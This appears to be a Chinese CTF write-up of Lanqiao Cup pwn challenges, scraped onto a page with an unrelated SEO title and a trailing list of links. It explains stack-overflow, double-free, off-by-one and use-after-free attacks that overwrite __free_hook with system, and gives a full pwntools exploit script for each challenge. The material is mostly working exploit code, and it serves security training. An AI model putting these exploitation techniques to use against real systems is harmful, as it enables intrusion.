当前位置: 首页 > news >正文

深圳做网站公司 南山建设网站比较好公司

深圳做网站公司 南山,建设网站比较好公司,网站后台管理页面下载,聊城做网站的公司精英蓝桥杯初赛决赛pwn题解 初赛第一题第二题 决赛getting_startedbabyheap 初赛 第一题 有system函数#xff0c;并且能在bss上读入字符 而且存在栈溢出#xff0c;只要过掉check函数即可 check函数中#xff0c;主要是对system常规获取权限的参数#xff0c;进行了过滤并且能在bss上读入字符 而且存在栈溢出只要过掉check函数即可 check函数中主要是对system常规获取权限的参数进行了过滤用$0即可 exp from pwn import * li lambda x : print(\x1b[01;38;5;214m x \x1b[0m) ll lambda x : print(\x1b[01;38;5;1m x \x1b[0m) def s(a):p.send(a) def sa(a, b):p.sendafter(a, b) def sl(a):p.sendline(a) def sla(a, b):p.sendlineafter(a, b) def r():p.recv() def pr():print(p.recv()) def rl(a):return p.recvuntil(a) def inter():p.interactive() def bug():gdb.attach(p)pause()context(oslinux, archamd64, log_leveldebug) p remote(, ) rl(restricted stack.\n) payb$0 s(pay)rl(...\n) payba*0x28p64(0x0000000000400933)p64(0x601090)p64(0x400778) s(pay)sleep(0.5) sl(bexec 10)inter()第二题 经典堆菜单题目 发现没有edit功能考虑double free。版本为2.31 09.9 挨个分析 add函数申请堆块部分 只能申请0x50大小的堆块并且能读入0x50字节的大小内容 free部分 free之后有置零所以不存在uaf漏洞 show就是个正常打印 漏洞是在这个函数 没有置零关键部分所以存在uaf漏洞因为只能申请0x50大小的堆块所以考虑使用fastbin的double free 具体思路 先把tcachebin填满 之后利用后门函数free一个进fastbin然后正常再free两个堆块第二次free的是后门free的那一个 以此构造出double free然后把tcache bin全部申请回来然后再申请一个fastbin的堆块fastbin的其他堆块就会进入到tcache bin里因为前面已经构造了double free所以这次可以修改fd的末位然后就能申请出来这个错位的堆块A修改堆块的size然后free进unsorted bin之后申请一个小块B泄露libc然后free这个小块B再free小块AA需要提前伪造好size位然后申请回来A把B的fd改为free hook然后打free hook为system即可 from pwn import * li lambda x : print(\x1b[01;38;5;214m x \x1b[0m) ll lambda x : print(\x1b[01;38;5;1m x \x1b[0m) def s(a):p.send(a) def sa(a, b):p.sendafter(a, b) def sl(a):p.sendline(a) def sla(a, b):p.sendlineafter(a, b) def r():p.recv() def pr():print(p.recv()) def rl(a):return p.recvuntil(a) def inter():p.interactive() def bug():gdb.attach(p)pause() def get_addr():return u64(p.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) def get_sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00))context(oslinux, archamd64, log_leveldebug) p remote(,) libc ELF(./libc.so.6)def add(c):rl(4.exit\n)sl(str(1))sleep(0.2)s(c)def free(i):rl(4.exit\n)sl(str(2))sleep(0.2)sl(str(i))def show(i):rl(4.exit\n)sl(str(3))sleep(0.2)sl(str(i))def free2(i):rl(4.exit\n)sl(str(0x202405))sleep(0.5)sl(str(i))add(b\x00*0x38p64(0x61)) add(b\x00*0x28p64(0x61)) for i in range(12):add(ba) #为伪造size做准备 for i in range(7):free(i2) free(9) free(10) free2(0) free(1) free(0) for i in range(7):add(ba) add(b\x30) add(ba) add(ba) add(b\x00*0x28p64(0x421)) #修改size位 free(6) add(ba) show(6) libc_baseget_addr()-0x1ecf61 li(hex(libc_base)) free_hooklibc_baselibc.sym[__free_hook] li(hex(free_hook)) system,binget_sb() free(11) free(6) free(10) add(b\x00*0x28p64(0x61)p64(free_hook)) #修改fd位 add(b/bin/sh\x00) add(p64(system)) free(10)inter()哪里不明白调试调试就行了 决赛 getting_started 比赛的时候先看的这个题目本地打通的了远程打不通这个随机值纯看脸我脸黑重开靶机10次左右才打通但是没血了 以时间为种子产生随机值 然后就是一个栈溢出 这个开启pie了并且没法泄露东西所以就正常输入随机值了 之后就是一个菜单题目 add函数最大申请0x100的堆块 漏洞在edit里 这是先读入后判断所以存在off by one实际还有个null 思路就是利用off by one修改size构造堆块重叠 利用思路 因为堆块限制的不强所以直接free满tc进入unsorted之后再申请回来一部分然后show出来libc 然后off by one构造堆块重叠利用重叠的堆块修改fd申请到free hook然后打free hook为system exp from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 import gmpy2 li lambda x : print(\x1b[01;38;5;214m x \x1b[0m) ll lambda x : print(\x1b[01;38;5;1m x \x1b[0m) def s(a):p.send(a) def sa(a, b):p.sendafter(a, b) def sl(a):p.sendline(a) def sla(a, b):p.sendlineafter(a, b) def r():p.recv() def pr():print(p.recv()) def rl(a):return p.recvuntil(a) def inter():p.interactive() def bug():gdb.attach(p)pause() def get_addr():return u64(p.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) def get_addr1():return u32(p.recvuntil(\xf7)[-4:].ljust(4,\x00)) def get_sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00))context(oslinux, archamd64, log_leveldebug) #p process(./pwn) p remote(39.106.48.123, 22289) elf ELF(./pwn) #libcELF(/lib/x86_64-linux-gnu/libc.so.6) #libc ELF(./libc-2.31.so)def add(idx,size):rl(:)sl(str(1))rl(Index: )sl(str(idx))rl(Size )sl(str(size))def edit(idx,c):rl(:)sl(str(2))rl(Index: )sl(str(idx))rl(Content: )s(c)def show(idx):rl(:)sl(str(3))rl(Index: )sl(str(idx))def free(idx):rl(:)sl(str(4))rl(Index: )sl(str(idx))libc cdll.LoadLibrary(./libc-2.27.so) seed libc.time(0) srand libc.srand(seed)a[0,0,0,0,0,0,0,0,0,0] for i in range(7):a[i]int(str(libc.rand()% 80 32).encode()) rl(please login \n) payp8(a[0])p8(a[1])p8(a[2])p8(a[3])p8(a[4])p8(a[5])p8(a[6]) sl(pay)libcELF(./libc-2.27.so)for i in range(10):add(i,0x90) for i in range(7):free(i)free(7) show(7) for i in range(7):add(i,0x90) add(7,0x20) show(7) libc_baseget_addr()-0x3ebd30 li(hex(libc_base)) free_hooklibc_baselibc.sym[__free_hook] system,binget_sb() for i in range(11):add(i10,0x68)edit(17,ba*0x68p8(0xe1)) free(18) free(19) add(18,0xd8) edit(18,ba*0x68p64(0x71)p64(free_hook)b\n) add(27,0x68) edit(27,b/bin/sh\x00\n) add(28,0x68) edit(28,p64(system)b\n) free(27)inter()babyheap 同样也是4个功能 申请给限制到0-0x60 有个后门可以申请一个大堆块 free函数中存在uaf漏洞 这个题目和初赛的第二题有点像这个题目更好布置堆块 也是通过double free修改fd的末位不过这个要小布置一下堆块因为这个edit会在末位填上null申请出来错位的堆块A修改一下sizefree进unsorted然后show出libc取出来这个堆块A包含的堆块free进tc里通过A修改它的fd为free hook然后打free hook为system exp from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 import gmpy2 li lambda x : print(\x1b[01;38;5;214m x \x1b[0m) ll lambda x : print(\x1b[01;38;5;1m x \x1b[0m) def s(a):p.send(a) def sa(a, b):p.sendafter(a, b) def sl(a):p.sendline(a) def sla(a, b):p.sendlineafter(a, b) def r():p.recv() def pr():print(p.recv()) def rl(a):return p.recvuntil(a) def inter():p.interactive() def bug():gdb.attach(p)pause() def get_addr():return u64(p.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) def get_sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00))context(oslinux, archamd64, log_leveldebug) p remote(8.147.132.99,23464) elf ELF(./pwn) libcELF(./libc.so.6)def add(idx,size):rl( \n)sl(str(1))rl(index: \n)sl(str(idx))rl(size: )sl(str(size))def free(idx):rl( \n)sl(str(2))rl(index: \n)sl(str(idx))def edit(idx,c):rl( \n)sl(str(3))rl(index: \n)sl(str(idx))rl(contents: \n)s(c)def show(idx):rl( \n)sl(str(4))rl(index: \n)sl(str(idx)) def add2(size):rl( \n)sl(str(555))rl(find me\n)sl(str(size))add(0,0x60) add(1,0x60) add2(0x400) add(2,0x60)free(1) free(0) edit(0,b\n) add(3,0x60) add(4,0x60) edit(4,p64(0)p64(0x481)b\n) free(1) show(1) libc_baseget_addr()-96-0x10-libc.sym[__malloc_hook] li(hex(libc_base)) free_hooklibc_baselibc.sym[__free_hook] system,binget_sb()add(5,0x60) free(2) free(5) edit(4,p64(0)p64(0x71)p64(free_hook)b\n) add(6,0x60) edit(6,b/bin/sh\x00\n) add(7,0x60) edit(7,p64(system)b\n) free(6)inter()
http://www.yingshimen.cn/news/78414/

相关文章:

  • 建站平台费用怎么用polylang做网站
  • 专业建设网站技术网站开发asp 视频
  • php网站设计网站建设的三要素
  • 现在能不能去西安2018网站如何做seo
  • 网站建设电话销售术语杭州最新消息
  • 怎么创建自己的网站平台app自考本科报名官网入口
  • 仙居住房和城乡建设局网站南阳网站开发公司
  • 网站备案变更主体电话初学网站开发书籍
  • 部队内网网站建设方案绍兴网站制作建设
  • 自己做网站是不是需要写代码中国企业500强净利润排名
  • 网站做什么内容机关事业单位 网站建设方案书
  • php论坛网站建设教程唐山网站建设策划方案
  • 金融类网站建设百度云网盘资源搜索引擎
  • 加强网站编辑队伍建设博客新手wordpress
  • 网站建设网络营销平台: 云搜系统电脑网站开发者模式
  • 英文网站有哪些一个备案号可以放几个网站
  • 十大网站黄页免费页面设计的特点是什么
  • 网站死链接是什么河北提供网站制作公司哪家好
  • 做网上竞彩网站合法吗神州网站制作
  • 公司做网站需要哪些费用住房和城乡建设部网站施工员
  • 网站开发及企业推广如何让自己网站排名提高
  • 成品网站 修改首页网站设计师绩效
  • wordpress个性时光轴主题短视频seo排名系统
  • 成都企业网站建站手机网站哪些功能
  • 海口建设局网站营销顾问公司
  • 山海关网站制作做公司网站需要花钱吗
  • 网站建设公司市场开发方案中国建设银行河北省分行官方网站
  • 做照片有那些网站京东慧采入驻条件及费用2022
  • 网站建设faq系统指什么wordpress模板编辑
  • 青州网站网页设计网站排行榜